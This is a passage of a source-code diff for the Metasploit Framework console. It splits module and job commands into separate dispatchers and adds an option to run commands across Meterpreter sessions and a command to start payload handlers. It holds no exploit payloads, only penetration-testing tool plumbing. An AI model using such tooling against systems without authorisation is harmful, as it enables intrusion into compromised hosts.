# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
end
print_line(tbl.to_s)
end
#
# Tab completion for the search command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_search_tabs(str, words)
if words.length == 1
return @@search_opts.fmt.keys
end
case (words[-1])
when "-r"
return RankingName.sort.map{|r| r[1]}
when "-t"
return %w{auxiliary encoder exploit nop payload post}
end
[]
end
def cmd_spool_help
print_line "Usage: spool <off>|<filename>"
@@ -1812,6 +1046,9 @@ class Core
when "-c"
method = 'cmd'
cmds << val if val
when "-C"
method = 'meterp-cmd'
cmds << val if val
when "-x"
show_extended = true
when "-v"
@@ -1934,6 +1171,40 @@ class Core
# commands on), so don't bother.
end
end
when 'meterp-cmd'
if cmds.length < 1
print_error("No command specified!")
return false
end
if sid
sessions = session_list
else
sessions = framework.sessions.keys.sort
end
if sessions.blank?
print_error("Please specify valid session identifier(s) using -i")
return false
end
cmds.each do |cmd|
sessions.each do |session|
session = verify_session(session)
unless session.type == 'meterpreter'
print_error "Session ##{session.sid} is not a Meterpreter shell. Skipping..."
next
end
next unless session
print_status("Running '#{cmd}' on #{session.type} session #{session.sid} (#{session.session_host})")
if session.respond_to?(:response_timeout)
last_known_timeout = session.response_timeout
session.response_timeout = response_timeout
end
output = session.run_cmd cmd
end
end
when 'kill'
print_status("Killing the following session(s): #{session_list.join(', ')}")
session_list.each do |sess_id|
@@ -2330,122 +1601,6 @@ class Core
cmd_set_tabs(str, words)
end
def cmd_show_help
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
module_opts = %w{ missing advanced evasion targets actions }
print_status("Additional module-specific parameters are: #{module_opts.join(", ")}")
end
#
# Displays the list of modules based on their type, or all modules if
# no type is provided.
#
def cmd_show(*args)
mod = self.active_module
args << "all" if (args.length == 0)
args.each { |type|
case type
when '-h'
cmd_show_help
when 'all'
show_encoders
show_nops
show_exploits
show_payloads
show_auxiliary
show_post
show_plugins
when 'encoders'
show_encoders
when 'nops'
show_nops
when 'exploits'
show_exploits
when 'payloads'
show_payloads
when 'auxiliary'
show_auxiliary
when 'post'
show_post
when 'info'
cmd_info(*args[1, args.length])
when 'options'
if (mod)
show_options(mod)
else
show_global_options
end
when 'missing'
if (mod)
show_missing(mod)
else
print_error("No module selected.")
end
when 'advanced'
if (mod)
show_advanced_options(mod)
else
print_error("No module selected.")
end
when 'evasion'
if (mod)
show_evasion_options(mod)
else
print_error("No module selected.")
end
when 'sessions'
if (active_module and active_module.respond_to?(:compatible_sessions))
sessions = active_module.compatible_sessions
else
sessions = framework.sessions.keys.sort
end
print_line
print(Serializer::ReadableText.dump_sessions(framework, :session_ids => sessions))
print_line
when "plugins"
show_plugins
when "targets"
if (mod and mod.exploit?)
show_targets(mod)
else
print_error("No exploit module selected.")
end
when "actions"
if mod && mod.kind_of?(Msf::Module::HasActions)
show_actions(mod)
else
print_error("No module with actions selected.")
end
else
print_error("Invalid parameter \"#{type}\", use \"show -h\" for more information")
end
}
end
#
# Tab completion for the show command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_show_tabs(str, words)
return [] if words.length > 1
res = %w{all encoders nops exploits payloads auxiliary post plugins options}
if (active_module)
res.concat(%w{ missing advanced evasion targets actions })
if (active_module.respond_to? :compatible_sessions)
res << "sessions"
end
end
return res
end
def cmd_unload_help
print_line "Usage: unload <plugin name>"
@@ -2669,203 +1824,6 @@ class Core
alias cmd_unsetg_help cmd_unset_help
def cmd_use_help
print_line "Usage: use module_name"
print_line
print_line "The use command is used to interact with a module of a given name."
print_line
end
#
# Uses a module.
#
def cmd_use(*args)
if (args.length == 0)
cmd_use_help
return false
end
# Try to create an instance of the supplied module name
mod_name = args[0]
begin
mod = framework.modules.create(mod_name)
unless mod
# Try one more time; see #4549
sleep CMD_USE_TIMEOUT
mod = framework.modules.create(mod_name)
unless mod
print_error("Failed to load module: #{mod_name}")
return false
end
end
rescue Rex::AmbiguousArgumentError => info
print_error(info.to_s)
rescue NameError => info
log_error("The supplied module name is ambiguous: #{$!}.")
end
return false if (mod == nil)
# Enstack the command dispatcher for this module type
dispatcher = nil
case mod.type
when Msf::MODULE_ENCODER
dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder
when Msf::MODULE_EXPLOIT
dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit
when Msf::MODULE_NOP
dispatcher = Msf::Ui::Console::CommandDispatcher::Nop
when Msf::MODULE_PAYLOAD
dispatcher = Msf::Ui::Console::CommandDispatcher::Payload
when Msf::MODULE_AUX
dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary
when Msf::MODULE_POST
dispatcher = Msf::Ui::Console::CommandDispatcher::Post
else
print_error("Unsupported module type: #{mod.type}")
return false
end
# If there's currently an active module, enqueque it and go back
if (active_module)
@previous_module = active_module
cmd_back()
end
if (dispatcher != nil)
driver.enstack_dispatcher(dispatcher)
end
# Update the active module
self.active_module = mod
# If a datastore cache exists for this module, then load it up
if @dscache[active_module.fullname]
active_module.datastore.update(@dscache[active_module.fullname])
end
@cache_payloads = nil
mod.init_ui(driver.input, driver.output)
# Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
end
#
# Command to take to the previously active module
#
def cmd_previous()
if @previous_module
self.cmd_use(@previous_module.fullname)
else
print_error("There isn't a previous module at the moment")
end
end
#
# Help for the 'previous' command
#
def cmd_previous_help
print_line "Usage: previous"
print_line
print_line "Set the previously loaded module as the current module"
print_line
end
#
# Command to enqueque a module on the module stack
#
def cmd_pushm(*args)
# could check if each argument is a valid module, but for now let them hang themselves
if args.count > 0
args.each do |arg|
@module_name_stack.push(arg)
# Note new modules are appended to the array and are only module (full)names
end
else #then just push the active module
if active_module
#print_status "Pushing the active module"
@module_name_stack.push(active_module.fullname)
else
print_error("There isn't an active module and you didn't specify a module to push")
return self.cmd_pushm_help
end
end
end
#
# Tab completion for the pushm command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_pushm_tabs(str, words)
tab_complete_module(str, words)
end
#
# Help for the 'pushm' command
#
def cmd_pushm_help
print_line "Usage: pushm [module1 [,module2, module3...]]"
print_line
print_line "push current active module or specified modules onto the module stack"
print_line
end
#
# Command to dequeque a module from the module stack
#
def cmd_popm(*args)
if (args.count > 1 or not args[0].respond_to?("to_i"))
return self.cmd_popm_help
elsif args.count == 1
# then pop 'n' items off the stack, but don't change the active module
if args[0].to_i >= @module_name_stack.count
# in case they pass in a number >= the length of @module_name_stack
@module_name_stack = []
print_status("The module stack is empty")
else
@module_name_stack.pop[args[0]]
end
else #then just pop the array and make that the active module
pop = @module_name_stack.pop
if pop
return self.cmd_use(pop)
else
print_error("There isn't anything to pop, the module stack is empty")
end
end
end
#
# Help for the 'popm' command
#
def cmd_popm_help
print_line "Usage: popm [n]"
print_line
print_line "pop the latest module off of the module stack and make it the active module"
print_line "or pop n modules off the stack, but don't change the active module"
print_line
end
#
# Tab completion for the use command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completd
def cmd_use_tabs(str, words)
return [] if words.length > 1
tab_complete_module(str, words)
end
#
# Returns the revision of the framework and console library
@@ -3023,22 +1981,6 @@ class Core
tabs
end
#
# Tab complete module names
#
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
#
# Provide tab completion for option values
#
@@ -3341,252 +2283,7 @@ class Core
return binary_paths.include? Msf::Config.install_root
end
#
# Module list enumeration
#
def show_encoders(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible encoders and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Encoders", active_module.compatible_encoders, regex, minrank, opts)
else
show_module_set("Encoders", framework.encoders, regex, minrank, opts)
end
end
def show_nops(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("NOP Generators", framework.nops, regex, minrank, opts)
end
def show_exploits(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Exploits", framework.exploits, regex, minrank, opts)
end
def show_payloads(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible payloads and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Payloads", active_module.compatible_payloads, regex, minrank, opts)
else
show_module_set("Payloads", framework.payloads, regex, minrank, opts)
end
end
def show_auxiliary(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Auxiliary", framework.auxiliary, regex, minrank, opts)
end
def show_post(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Post", framework.post, regex, minrank, opts)
end
def show_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ')
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ')
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
# Print the selected target
if (mod.exploit? and mod.target)
mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
end
# Print the selected action
if mod.kind_of?(Msf::Module::HasActions) && mod.action
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
end
# Uncomment this line if u want target like msf2 format
#print("\nTarget: #{mod.target.name}\n\n")
end
def show_missing(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true)
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ', true)
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_global_options
columns = [ 'Option', 'Current Setting', 'Description' ]
tbl = Table.new(
Table::Style::Default,
'Header' => 'Global Options:',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => columns
)
[
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
[ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ],
].each { |r| tbl << r }
print(tbl.to_s)
end
def show_targets(mod) # :nodoc:
mod_targs = Serializer::ReadableText.dump_exploit_targets(mod, ' ')
print("\nExploit targets:\n\n#{mod_targs}\n") if (mod_targs and mod_targs.length > 0)
end
def show_actions(mod) # :nodoc:
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
end
def show_advanced_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_advanced_options(p, ' ')
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_evasion_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_evasion_options(mod, ' ')
print("\nModule evasion options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_evasion_options(p, ' ')
print("\nPayload evasion options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_plugins # :nodoc:
tbl = Table.new(
Table::Style::Default,
'Header' => 'Plugins',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Description' ]
)
framework.plugins.each { |plugin|
tbl << [ plugin.name, plugin.desc ]
}
print(tbl.to_s)
end
def show_module_set(type, module_set, regex = nil, minrank = nil, opts = nil) # :nodoc:
tbl = generate_module_table(type)
module_set.sort.each { |refname, mod|
o = nil
begin
o = mod.new
rescue ::Exception
end
next if not o
# handle a search string, search deep
if (
not regex or
o.name.match(regex) or
o.description.match(regex) or
o.refname.match(regex) or
o.references.map{|x| [x.ctx_id + '-' + x.ctx_val, x.to_s]}.join(' ').match(regex) or
o.author.to_s.match(regex)
)
if (not minrank or minrank <= o.rank)
show = true
if opts
mod_opt_keys = o.options.keys.map { |x| x.downcase }
opts.each do |opt,val|
if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
show = false
end
end
end
if (opts == nil or show == true)
tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
}
print(tbl.to_s)
end
def generate_module_table(type) # :nodoc:
Table.new(
Table::Style::Default,
'Header' => type,
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
)
end
#
# Returns an array of lines at the provided line number plus any before and/or after lines requested
# from all_lines by supplying the +before+ and/or +after+ parameters which are always positive
@@ -3606,35 +2303,7 @@ class Core
all_lines.slice(start..finish)
end
#
# Generate an array of job or session IDs from a given range String.
# Always returns an Array.
#
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
# @return [Array<String>] Representing the range
def build_range_array(id_list)
item_list = []
unless id_list.blank?
temp_list = id_list.split(',')
temp_list.each do |ele|
return if ele.count('-') > 1
return if ele.first == '-' || ele[-1] == '-'
return if ele.first == '.' || ele[-1] == '.'
if ele.include? '-'
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
elsif ele.include? '..'
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
else
item_list.push(ele.to_i)
end
end
end
item_list.uniq.sort
end
end
@@ -0,0 +1,341 @@
# frozen_string_literal: true
# -*- coding: binary -*-
#
# Rex
#
require 'rex/ui/text/output/buffer/stdout'
module Msf
module Ui
module Console
module CommandDispatcher
#
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
#
class Jobs
include Msf::Ui::Console::CommandDispatcher
@@handler_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner"],
"-x" => [ false, "Shut the Handler down after a session is established"],
"-p" => [ true, "The payload to configure the handler for"],
"-P" => [ true, "The RPORT/LPORT to configure the handler for"],
"-H" => [ true, "The RHOST/LHOST to configure the handler for"],
"-e" => [ true, "An Encoder to use for Payload Stage Encoding"],
"-n" => [ true, "The custom name to give the handler job"]
)
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
"-K" => [ false, "Terminate all running jobs." ],
"-i" => [ true, "Lists detailed information about a running job."],
"-l" => [ false, "List all running jobs." ],
"-v" => [ false, "Print more detailed info. Use with -i and -l" ]
)
def commands
{
"jobs" => "Displays and manages jobs",
"rename_job" => "Rename a job",
"kill" => "Kill a job",
"handler" => "Start a payload handler as job"
}
end
#
# Returns the name of the command dispatcher.
#
def name
"Job"
end
def cmd_rename_job_help
print_line "Usage: rename_job [ID] [Name]"
print_line
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
print_line
print_line "Rename a job that's currently active."
print_line "You may use the jobs command to see what jobs are available."
print_line
end
def cmd_rename_job(*args)
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
cmd_rename_job_help
return false
end
job_id = args[0].to_s
job_name = args[1].to_s
unless framework.jobs[job_id]
print_error("Job #{job_id} does not exist.")
return false
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
true
end
#
# Tab completion for the rename_job command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_rename_job_tabs(_str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_jobs_help
print_line "Usage: jobs [options]"
print_line
print_line "Active job manipulation and interaction."
print @@jobs_opts.usage
end
#
# Displays and manages running jobs for the active instance of the
# framework.
#
def cmd_jobs(*args)
# Make the default behavior listing all jobs if there were no options
# or the only option is the verbose flag
args.unshift("-l") if args.empty? || args == ["-v"]
verbose = false
dump_list = false
dump_info = false
job_id = nil
# Parse the command options
@@jobs_opts.parse(args) do |opt, _idx, val|
case opt
when "-v"
verbose = true
when "-l"
dump_list = true
# Terminate the supplied job ID(s)
when "-k"
job_list = build_range_array(val)
if job_list.blank?
print_error("Please specify valid job identifier(s)")
return false
end
print_status("Stopping the following job(s): #{job_list.join(', ')}")
job_list.map(&:to_s).each do |job|
if framework.jobs.key?(job)
print_status("Stopping job #{job}")
framework.jobs.stop_job(job)
else
print_error("Invalid job identifier: #{job}")
end
end
when "-K"
print_line("Stopping all jobs...")
framework.jobs.each_key do |i|
framework.jobs.stop_job(i)
end
when "-i"
# Defer printing anything until the end of option parsing
# so we can check for the verbose flag.
dump_info = true
job_id = val
when "-h"
cmd_jobs_help
return false
end
end
if dump_list
print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n")
end
if dump_info
if job_id && framework.jobs[job_id.to_s]
job = framework.jobs[job_id.to_s]
mod = job.ctx[0]
output = '\n'
output += "Name: #{mod.name}"
output += ", started at #{job.start_time}" if job.start_time
print_line(output)
show_options(mod) if mod.options.has_options?
if verbose
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
if mod_opt && !mod_opt.empty?
print_line("\nModule advanced options:\n\n#{mod_opt}\n")
end
end
else
print_line("Invalid Job ID")
end
end
end
#
# Tab completion for the jobs command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_jobs_tabs(_str, words)
return @@jobs_opts.fmt.keys if words.length == 1
if words.length == 2 && (@@jobs_opts.fmt[words[1]] || [false])[0]
return framework.jobs.keys
end
[]
end
def cmd_kill_help
print_line "Usage: kill <job1> [job2 ...]"
print_line
print_line "Equivalent to 'jobs -k job1 -k job2 ...'"
print @@jobs_opts.usage
end
def cmd_kill(*args)
cmd_jobs("-k", *args)
end
#
# Tab completion for the kill command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_kill_tabs(_str, words)
return [] if words.length > 1
framework.jobs.keys
end
def cmd_handler_help
print_line "Usage: handler [options]"
print_line
print_line "Spin up a Payload Handler as background job."
print @@handler_opts.usage
end
# Allows the user to setup a payload handler as a background job from a single command.
def cmd_handler(*args)
# Display the help banner if no arguments were passed
if args.empty?
cmd_handler_help
return
end
exit_on_session = false
payload_module = nil
port = nil
host = nil
job_name = nil
stage_encoder = nil
# Parse the command options
@@handler_opts.parse(args) do |opt, _idx, val|
case opt
when "-x"
exit_on_session = true
when "-p"
payload_module = framework.payloads.create(val)
if payload_module.nil?
print_error "Invalid Payload Name Supplied!"
return
end
when "-P"
port = val
when "-H"
host = val
when "-n"
job_name = val
when "-e"
encoder_module = framework.encoders.create(val)
if encoder_module.nil?
print_error "Invalid Encoder Name Supplied"
end
stage_encoder = encoder_module.refname
when "-h"
cmd_handler_help
return
end
end
# If we are missing any of the required options, inform the user about each
# missing options, and not just one. Then exit so they can try again.
print_error "You must select a payload with -p <payload>" if payload_module.nil?
print_error "You must select a port(RPORT/LPORT) with -P <port number>" if port.nil?
print_error "You must select a host(RHOST/LHOST) with -H <hostname or address>" if host.nil?
if payload_module.nil? || port.nil? || host.nil?
print_error "Please supply missing arguments and try again."
return
end
handler = framework.modules.create('exploit/multi/handler')
payload_datastore = payload_module.datastore
# Set The RHOST or LHOST for the payload
if payload_datastore.has_key? "LHOST"
payload_datastore['LHOST'] = host
elsif payload_datastore.has_key? "RHOST"
payload_datastore['RHOST'] = host
else
print_error "Could not determine how to set Host on this payload..."
return
end
# Set the RPORT or LPORT for the payload
if payload_datastore.has_key? "LPORT"
payload_datastore['LPORT'] = port
elsif payload_datastore.has_key? "RPORT"
payload_datastore['RPORT'] = port
else
print_error "Could not determine how to set Port on this payload..."
return
end
# Set StageEncoder if selected
if stage_encoder.present?
payload_datastore["EnableStageEncoding"] = true
payload_datastore["StageEncoder"] = stage_encoder
end
# Merge payload datastore options into the handler options
handler_opts = {
'Payload' => payload_module.refname,
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'ExitOnSession' => exit_on_session,
'RunAsJob' => true
}
handler.datastore.reverse_merge!(payload_datastore)
# Launch our Handler and get the Job ID
handler.exploit_simple(handler_opts)
job_id = handler.job_id
# Customise the job name if the user asked for it
if job_name.present?
framework.jobs[job_id.to_s].send(:name=, job_name)
end
print_status "Payload Handler Started as Job #{job_id}"
end
end
end
end
end
end
@@ -0,0 +1,1121 @@
# -*- coding: binary -*-
require 'rex/ui/text/output/buffer/stdout'
module Msf
module Ui
module Console
module CommandDispatcher
#
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
#
class Modules
include Msf::Ui::Console::CommandDispatcher
# Constant for a retry timeout on using modules before they're loaded
CMD_USE_TIMEOUT = 3
# Constant for disclosure date formatting in search functions
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
@@search_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner."]
)
def commands
{
"back" => "Move back from the current context",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"advanced" => "Displays advanced options for one or more modules",
"info" => "Displays information about one or more modules",
"options" => "Displays global options or for one or more modules",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"reload_all" => "Reloads all modules from all defined module paths",
"search" => "Searches module names and descriptions",
"show" => "Displays modules of a given type, or all modules",
"use" => "Selects a module by name",
}
end
#
# Initializes the datastore cache
#
def initialize(driver)
super
@dscache = {}
@cache_payloads = nil
@previous_module = nil
@module_name_stack = []
end
#
# Returns the name of the command dispatcher.
#
def name
"Module"
end
def local_editor
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
end
def cmd_edit_help
msg = "Edit the currently active module"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
print_line "Usage: edit"
print_line
print_line msg
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
print_line
end
#
# Edit the currently active module
#
def cmd_edit
unless local_editor
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
return
end
if active_module
path = active_module.file_path
print_status "Launching #{local_editor} #{path}"
system(local_editor,path)
else
print_error "Nothing to edit -- try using a module first."
end
end
def cmd_advanced_help
print_line 'Usage: advanced [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for advanced options. If no module is given,'
print_line 'show advanced options for the currently active module.'
print_line
end
def cmd_advanced(*args)
if args.empty?
if (active_module)
show_advanced_options(active_module)
return true
else
print_error('No module active')
return false
end
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_advanced_options(mod)
end
}
end
def cmd_info_help
print_line "Usage: info <module name> [mod2 mod3 ...]"
print_line
print_line "Options:"
print_line "* The flag '-j' will print the data in json format"
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
print_line "Queries the supplied module or modules for information. If no module is given,"
print_line "show info for the currently active module."
print_line
end
#
# Displays information about one or more module.
#
def cmd_info(*args)
dump_json = false
show_doc = false
if args.include?('-j')
args.delete('-j')
dump_json = true
end
if args.include?('-d')
args.delete('-d')
show_doc = true
end
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(active_module))
end
return true
else
cmd_info_help
return false
end
elsif args.include? "-h"
cmd_info_help
return false
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(mod))
end
}
end
def cmd_options_help
print_line 'Usage: options [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for options. If no module is given,'
print_line 'show options for the currently active module.'
print_line
end
def cmd_options(*args)
if args.empty?
if (active_module)
show_options(active_module)
return true
else
show_global_options
return true
end
end
args.each do |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_options(mod)
end
end
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_advanced_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_info_tabs(str, words)
cmd_use_tabs(str, words)
end
#
# Tab completion for the advanced command (same as use)
#
# @param str (see #cmd_use_tabs)
# @param words (see #cmd_use_tabs)
def cmd_options_tabs(str, words)
cmd_use_tabs(str, words)
end
def cmd_loadpath_help
print_line "Usage: loadpath </path/to/modules>"
print_line
print_line "Loads modules from the given directory which should contain subdirectories for"
print_line "module types, e.g. /path/to/modules/exploits"
print_line
end
#
# Adds one or more search paths.
#
def cmd_loadpath(*args)
if (args.length == 0 or args.include? "-h")
cmd_loadpath_help
return true
end
totals = {}
overall = 0
curr_path = nil
begin
# Walk the list of supplied search paths attempting to add each one
# along the way
args.each { |path|
curr_path = path
# Load modules, but do not consult the cache
if (counts = framework.modules.add_module_path(path))
counts.each_pair { |type, count|
totals[type] = (totals[type]) ? (totals[type] + count) : count
overall += count
}
end
}
rescue NameError, RuntimeError
log_error("Failed to add search path #{curr_path}: #{$!}")
return true
end
added = "Loaded #{overall} modules:\n"
totals.each_pair { |type, count|
added << " #{count} #{type}#{count != 1 ? 's' : ''}\n"
}
print(added)
end
#
# Tab completion for the loadpath command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_loadpath_tabs(str, words)
return [] if words.length > 1
